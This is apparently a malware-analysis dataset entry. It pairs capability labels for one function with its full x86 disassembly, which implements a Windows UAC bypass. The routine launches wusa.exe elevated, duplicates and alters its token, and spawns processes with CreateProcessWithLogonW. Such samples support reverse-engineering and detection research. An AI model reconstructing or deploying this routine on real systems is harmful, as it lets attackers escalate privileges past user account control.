Function at 0x401280
Capabilities:
Bypass uac via token manipulation
Create process on windows
Create process suspended
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x71c
mov eax, dword [0x4110dc]
xor eax, esp
mov dword [esp + 0x718], eax
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
push esi
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
push edi
mov dword [esp + 0x20], ebx
mov esi, 0xc0000001
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0xfc], ebx
mov word [esp + 0x100], 0x1000
mov dword [esp + 0x24], ebx
mov ecx, 0x3c
lea eax, [esp + 0x74]
mov byte [eax], bl
inc eax
dec ecx
jne 0x4012e1
cmp edx, ebx
je 0x4012f2
mov edi, edx
jmp 0x401373
mov ecx, 0x20a
lea eax, [esp + 0x110]
mov edi, edi
mov byte [eax], bl
inc eax
dec ecx
jne 0x401300
mov ecx, 8
lea eax, [esp + 0x44]
nop
mov byte [eax], bl
inc eax
dec ecx
jne 0x401310
push str._systemroot__system32cmd.exe
lea edx, [esp + 0x48]
push edx
call dword [0x4139c4]
lea eax, [esp + 0x110]
mov dword [esp + 0x34], eax
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x4c]
push edx
push ebx
mov dword [esp + 0x40], 0x2080000
mov dword [esp + 0x48], ebx
call dword [0x4139b4]
cmp eax, ebx
jge 0x40136c
cmp eax, 0xc0000023
je 0x40136c
push eax
call dword [0x4139d0]
push eax
call dword [0x4139b8]
lea edi, [esp + 0x110]
lea eax, [esp + 0x74]
push eax
mov dword [esp + 0x78], 0x3c
mov dword [esp + 0x7c], 0x40
mov dword [esp + 0x88], str.wusa.exe
mov dword [esp + 0x94], ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x4016f9
mov edx, dword [esp + 0xac]
lea ecx, [esp + 0x2c]
push ecx
push 0x2000000
push edx
call dword [0x4139d8]
mov esi, eax
cmp esi, ebx
jl 0x401711
lea ecx, [esp + 0x1c]
push ecx
push 1
push ebx
lea edx, [esp + 0x58]
lea eax, [esp + 0x110]
push edx
mov dword [esp + 0x70], eax
mov eax, dword [esp + 0x3c]
push 0xf01ff
push eax
mov dword [esp + 0x11c], 0xc
mov dword [esp + 0x120], 2
mov word [esp + 0x124], bx
mov dword [esp + 0x64], 0x18
mov dword [esp + 0x68], ebx
mov dword [esp + 0x70], ebx
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x74], ebx
call dword [0x4139dc]
mov esi, eax
cmp esi, ebx
jl 0x40171d
lea ecx, [esp + 0x24]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x2000
push 1
lea edx, [esp + 0x124]
push edx
call dword [0x4139e0]
mov esi, eax
cmp esi, ebx
jl 0x40172f
mov eax, dword [esp + 0x24]
push eax
mov dword [esp + 0x44], 0x20
mov dword [esp + 0x40], eax
call dword [0x4139e8]
mov ecx, dword [esp + 0x1c]
add eax, 8
push eax
lea eax, [esp + 0x40]
push eax
push 0x19
push ecx
call dword [0x4139cc]
mov esi, eax
cmp esi, ebx
jl 0x401741
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x28]
push edx
push ebx
push ebx
push ebx
push 4
push eax
call dword [0x4139e4]
mov esi, eax
cmp esi, ebx
jl 0x40174d
mov eax, dword [esp + 0x28]
lea ecx, [esp + 0x14]
push ecx
push 2
push ebx
lea edx, [esp + 0x58]
push edx
push 0xc
push eax
mov dword [esp + 0x2c], ebx
call dword [0x4139dc]
mov esi, eax
cmp esi, ebx
jl 0x40175f
push 4
lea ecx, [esp + 0x18]
push ecx
push 5
push 0xfffffffffffffffe
call dword [0x4139c8]
mov esi, eax
cmp esi, ebx
jl 0x401771
mov edx, dword [esp + 0x14]
push edx
call dword [0x4139d4]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
cmp word [edi], bx
je 0x4016dd
jmp 0x401516
xor ebx, ebx
movzx edx, word [edi]
mov eax, edi
cmp dx, bx
je 0x401534
mov ecx, edx
cmp cx, 0xd
je 0x401534
movzx ecx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x401522
xor ebx, ebx
cmp word [eax], 0xd
setne bl
dec ebx
and ebx, eax
jne 0x40157a
mov eax, edi
test dx, dx
je 0x401562
mov ecx, edx
jmp 0x401550
cmp cx, 0xa
je 0x401562
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x401550
xor ebx, ebx
cmp word [eax], 0xa
setne bl
dec ebx
and ebx, eax
jne 0x40157a
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ebx, [edi + eax*2]
mov eax, ebx
sub eax, edi
sar eax, 1
cmp eax, 0x200
jb 0x40158c
mov eax, 0x1ff
lea esi, [eax + eax]
push esi
lea eax, [esp + 0x324]
push edi
push eax
call fcn.0040ee63
add esp, 0xc
xor ecx, ecx
mov word [esp + esi + 0x320], cx
mov ecx, 0x44
lea eax, [esp + 0xb0]
mov byte [eax], 0
inc eax
dec ecx
jne 0x4015b7
lea edx, [esp + 0xb0]
push edx
mov dword [esp + 0xb4], 0x44
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, 6
mov word [esp + 0xe0], ax
mov dword [esp + 0xdc], 1
mov ecx, 0x10
lea eax, [esp + 0x64]
mov byte [eax], 0
inc eax
dec ecx
jne 0x4015f8
lea ecx, [esp + 0x64]
push ecx
lea edx, [esp + 0xb4]
push edx
push 0
push 0
push 0
lea eax, [esp + 0x334]
push eax
push 0
push 2
push str.useless
push 0x4112a4
push 0x4112ac
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
mov dword [esp + 0x20], eax
test eax, eax
je 0x4016bf
mov ecx, dword [esp + 0x64]
push 0x2710
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, eax
mov eax, dword [esp + 0x68]
test eax, eax
je 0x401660
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x64]
test eax, eax
je 0x40166f
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0x102
je 0x40169b
movzx eax, word [ebx]
cmp eax, 0xd
je 0x401684
cmp eax, 0xa
jne 0x401689
add ebx, 2
jmp 0x401677
inc dword [esp + 0x18]
cmp word [ebx], 0
mov edi, ebx
jne 0x401514
jmp 0x4016db
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
add edx, 0x210
mov dword [eax], edx
mov dword [ecx], 0x102
mov dword [esp + 0x20], 0
jmp 0x4016db
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0xc]
add edx, 0x210
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 0x10]
mov dword [ecx], eax
xor ebx, ebx
push 4
lea edx, [esp + 0x18]
push edx
push 5
push 0xfffffffffffffffe
mov dword [esp + 0x24], ebx
call dword [0x4139c8]
mov esi, eax
jmp 0x401781
mov eax, dword [esp + 0xc]
mov dword [eax], 0x202
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 0x10]
mov dword [ecx], eax
jmp 0x401781
mov edx, dword [esp + 0xc]
mov dword [edx], 0x203
jmp 0x40177b
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov dword [ecx], 0x204
mov dword [edx], esi
jmp 0x401781
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov dword [eax], 0x205
mov dword [ecx], esi
jmp 0x401781
mov edx, dword [esp + 0xc]
mov dword [edx], 0x206
jmp 0x40177b
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov dword [ecx], 0x207
mov dword [edx], esi
jmp 0x401781
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov dword [eax], 0x208
mov dword [ecx], esi
jmp 0x401781
mov edx, dword [esp + 0xc]
mov dword [edx], 0x209
mov eax, dword [esp + 0x10]
mov dword [eax], esi
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x401790
push eax
call dword [0x4139d4]
mov eax, dword [esp + 0x2c]
cmp eax, ebx
je 0x40179f
push eax
call dword [0x4139d4]
mov eax, dword [esp + 0x1c]
cmp eax, ebx
je 0x4017ae
push eax
call dword [0x4139d4]
mov eax, dword [esp + 0x28]
cmp eax, ebx
je 0x4017bd
push eax
call dword [0x4139d4]
mov eax, dword [esp + 0xac]
cmp eax, ebx
je 0x4017de
push ebx
push eax
call dword [0x4139bc]
mov ecx, dword [esp + 0xac]
push ecx
call dword [0x4139d4]
mov eax, dword [esp + 0x24]
cmp eax, ebx
je 0x4017ed
push eax
call dword [0x4139c0]
push esi
call dword [0x4139d0]
push eax
call dword [0x4139b8]
mov ecx, dword [esp + 0x724]
mov eax, dword [esp + 0x20]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040ecab
mov esp, ebp
pop ebp
ret